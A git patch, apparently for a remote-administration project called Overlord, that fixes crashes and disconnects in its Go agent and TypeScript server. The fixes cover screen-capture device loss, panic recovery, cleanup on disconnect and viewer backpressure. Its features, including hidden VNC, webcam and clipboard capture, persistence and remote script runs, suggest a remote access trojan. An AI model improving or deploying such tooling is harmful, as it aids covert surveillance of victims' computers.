From a0ed6d7cc161e3ca1292ea1760f656ef86e5d3d8 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Tue, 7 Apr 2026 13:26:52 -0500 Subject: [PATCH] hopefully fix all issues with random disconnects during stupid panics from GPU mode. --- .../cmd/agent/capture/win_bitblt.go | 6 ++++- .../cmd/agent/capture/win_duplication.go | 25 ++++++++++++++++--- .../cmd/agent/filesearch/lookup.go | 7 ++++++ .../cmd/agent/handlers/agent_update.go | 1 + Overlord-Client/cmd/agent/handlers/ping.go | 1 + Overlord-Client/cmd/agent/session.go | 4 +-- Overlord-Server/src/main-server.ts | 12 +++++++++ .../src/server/routes/client-routes.ts | 4 +-- .../routes/websocket-lifecycle-routes.ts | 20 +++++++++++++++ .../src/server/ws-console-rd-hvnc.ts | 6 +++++ 10 files changed, 78 insertions(+), 8 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/win_bitblt.go b/Overlord-Client/cmd/agent/capture/win_bitblt.go index 6bebe7e..617c086 100644 --- a/Overlord-Client/cmd/agent/capture/win_bitblt.go +++ b/Overlord-Client/cmd/agent/capture/win_bitblt.go @@ -485,7 +485,10 @@ func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte if newBmp == 0 || bits == nil { return 0, 0, nil, 0, syscall.EINVAL } - selectObject(s.hdcMem, newBmp) + if selectObject(s.hdcMem, newBmp) == 0 { + deleteObject(newBmp) + return 0, 0, nil, 0, syscall.EINVAL + } if s.hbmp != 0 { deleteObject(s.hbmp) } @@ -516,6 +519,7 @@ func (s *capState) reset() { s.w = 0 s.h = 0 s.bits = nil + stateCreatedAt = time.Time{} } func captureScale() float64 { diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go index af1729a..38c7f5e 100644 --- a/Overlord-Client/cmd/agent/capture/win_duplication.go +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -24,6 +24,8 @@ const ( dxgiErrorNotFound uintptr = 0x887A0002 dxgiErrorWaitTimeout uintptr = 0x887A0027 dxgiErrorAccessLost uintptr = 0x887A0026 + dxgiErrorDeviceRemoved uintptr = 0x887A0005 + dxgiErrorDeviceReset uintptr = 0x887A0007 S_OK uintptr = 0 ) @@ -613,6 +615,7 @@ type duplicationState struct { lastFrameAt time.Time lastFail time.Time cursorScratch *image.RGBA + createdAt time.Time } func SetDesktopDuplication(enabled bool) { @@ -675,6 +678,7 @@ func (s *duplicationState) closeLocked() { s.lastFrame = nil s.lastFrameAt = time.Time{} s.cursorScratch = nil + s.createdAt = time.Time{} } func (s *duplicationState) capture(display int) (*image.RGBA, error) { @@ -713,6 +717,10 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) { s.closeLocked() return nil, errors.New("dxgi: access lost") } + if hr == dxgiErrorDeviceRemoved || hr == dxgiErrorDeviceReset { + s.closeLocked() + return nil, fmt.Errorf("dxgi: device lost 0x%x", hr) + } if hr != S_OK { return nil, fmt.Errorf("dxgi: acquire frame failed 0x%x", hr) } @@ -826,10 +834,17 @@ func cloneRGBA(src *image.RGBA) *image.RGBA { } func (s *duplicationState) ensure(display int) error { + const dxgiDeviceMaxAge = 4 * time.Hour if s.dup != nil && s.display == display { - return nil + if !s.createdAt.IsZero() && time.Since(s.createdAt) > dxgiDeviceMaxAge { + log.Printf("capture: dxgi device age exceeded %v; forcing re-init", dxgiDeviceMaxAge) + s.closeLocked() + } else { + return nil + } + } else { + s.closeLocked() } - s.closeLocked() monitors := monitorList() if display < 0 || display >= len(monitors) { @@ -903,6 +918,7 @@ func (s *duplicationState) ensure(display int) error { s.display = display s.bounds = bounds s.cursorBounds = cursorBounds + s.createdAt = time.Now() return nil } @@ -951,10 +967,13 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res s.context.CopyResource(s.staging, tex) var mapped d3d11MappedSubresource hr = s.context.Map(s.staging, 0, d3d11MapRead, 0, &mapped) - if hr != S_OK || mapped.Data == nil || mapped.RowPitch == 0 { + if hr != S_OK { return nil, hr } defer s.context.Unmap(s.staging, 0) + if mapped.Data == nil || mapped.RowPitch == 0 { + return nil, uintptr(1) + } pitch := int(mapped.RowPitch) src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height)) diff --git a/Overlord-Client/cmd/agent/filesearch/lookup.go b/Overlord-Client/cmd/agent/filesearch/lookup.go index c6fee53..a68ecf8 100644 --- a/Overlord-Client/cmd/agent/filesearch/lookup.go +++ b/Overlord-Client/cmd/agent/filesearch/lookup.go @@ -1,8 +1,10 @@ package filesearch import ( + "log" "os" "path/filepath" + "runtime/debug" "strings" "sync" ) @@ -31,6 +33,11 @@ func LookupExe(exeName string, workers int, onResult ResultFunc) { wg.Add(1) go func() { defer wg.Done() + defer func() { + if r := recover(); r != nil { + log.Printf("[filesearch] worker panic: %v\n%s", r, debug.Stack()) + } + }() for dir := range dirs { walkDir(dir, lowerExe, dirs, &inflight, onResult) inflight.Done() diff --git a/Overlord-Client/cmd/agent/handlers/agent_update.go b/Overlord-Client/cmd/agent/handlers/agent_update.go index bf3ed52..f5b29f4 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update.go @@ -40,6 +40,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, } go func() { + defer recoverAndLog("agent update", nil) // Let the command_result flush before beginning process replacement. time.Sleep(250 * time.Millisecond) if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil { diff --git a/Overlord-Client/cmd/agent/handlers/ping.go b/Overlord-Client/cmd/agent/handlers/ping.go index df0bc58..21e9ddf 100644 --- a/Overlord-Client/cmd/agent/handlers/ping.go +++ b/Overlord-Client/cmd/agent/handlers/ping.go @@ -18,6 +18,7 @@ func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]inter pong := wire.Pong{Type: "pong", TS: ts} go func() { + defer recoverAndLog("pong sender", nil) if err := wire.WriteMsg(ctx, env.Conn, pong); err != nil { log.Printf("ping: failed to send pong: %v", err) } diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index af2dde0..79f815e 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -737,13 +737,13 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. capture.Loop(shotCtx, env) }) - goSafe("activewindow", nil, func() { + goSafe("activewindow", cancel, func() { if err := activewindow.Start(ctx, env); err != nil { log.Printf("activewindow error: %v", err) } }) - goSafe("clipboard", nil, func() { + goSafe("clipboard", cancel, func() { if err := activewindow.StartClipboard(ctx, env); err != nil { log.Printf("clipboard error: %v", err) } diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index a8901f4..c505f19 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -288,6 +288,7 @@ type PendingScript = { resolve: (result: any) => void; reject: (error: any) => void; timeout: NodeJS.Timeout; + clientId: string; }; const pendingScripts = new Map(); @@ -295,6 +296,7 @@ type PendingCommandReply = { resolve: (result: { ok: boolean; message?: string }) => void; reject: (error: Error) => void; timeout: NodeJS.Timeout; + clientId: string; }; const pendingCommandReplies = new Map(); @@ -628,3 +630,13 @@ process.on("SIGTERM", () => { flushAuditLogsSync(); process.exit(0); }); + +process.on("uncaughtException", (err) => { + logger.error("[server] uncaught exception:", err); + flushAuditLogsSync(); + process.exit(1); +}); + +process.on("unhandledRejection", (reason) => { + logger.error("[server] unhandled rejection:", reason); +}); diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 17295f5..45172dd 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -561,7 +561,7 @@ export async function handleClientRoutes( reject(new Error("Script execution timed out after 5 minutes")); }, 5 * 60 * 1000); - deps.pendingScripts.set(cmdId, { resolve, reject, timeout }); + deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); target.ws.send(encodeMessage({ @@ -595,7 +595,7 @@ export async function handleClientRoutes( deps.pendingCommandReplies.delete(cmdId); reject(new Error("Voice capability probe timed out")); }, 30_000); - deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout }); + deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId }); }); target.ws.send( diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 9a5d8d0..fca0296 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -17,11 +17,13 @@ import { stopAllProxiesForClient } from "../socks5-proxy-manager"; type PendingScript = { timeout: ReturnType; resolve: (value: { ok?: boolean; result?: string; error?: string }) => void; + clientId: string; }; type PendingCommandReply = { timeout: ReturnType; resolve: (value: { ok: boolean; message?: string }) => void; + clientId: string; }; type WsLifecycleDeps = { @@ -333,6 +335,10 @@ export async function handleWebSocketMessage( logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`); try { existingClient.ws.close(4004, "superseded"); } catch {} clientManager.deleteClient(resolvedId); + clearEnrollmentTimeout(resolvedId); + deps.rdStreamingState.delete(resolvedId); + deps.hvncStreamingState.delete(resolvedId); + deps.webcamStreamingState.delete(resolvedId); } ws.data.wasKnown = clientExists(resolvedId); @@ -729,6 +735,20 @@ export function handleWebSocketClose( setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail); deps.clearPendingNotificationScreenshots(clientId); deps.clearClientPluginState(clientId); + for (const [cmdId, pending] of deps.pendingScripts) { + if (pending.clientId === clientId) { + clearTimeout(pending.timeout); + pending.resolve({ ok: false, error: "Client disconnected" }); + deps.pendingScripts.delete(cmdId); + } + } + for (const [cmdId, pending] of deps.pendingCommandReplies) { + if (pending.clientId === clientId) { + clearTimeout(pending.timeout); + pending.resolve({ ok: false, message: "Client disconnected" }); + deps.pendingCommandReplies.delete(cmdId); + } + } deps.rdStreamingState.delete(clientId); deps.hvncStreamingState.delete(clientId); deps.webcamStreamingState.delete(clientId); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 44fa467..a254d23 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -120,6 +120,8 @@ function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array { return buf; } +const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB + function broadcastFrameToViewers( sessions: Iterable<{ viewer: ServerWebSocket }>, buf: Uint8Array, @@ -130,6 +132,10 @@ function broadcastFrameToViewers( const byteLen = buf.length; for (const session of sessions) { try { + const buffered = session.viewer.getBufferedAmount?.() ?? 0; + if (buffered > VIEWER_BACKPRESSURE_BYTES) { + continue; + } session.viewer.send(buf); metrics.recordBytesSent(byteLen); sent = true;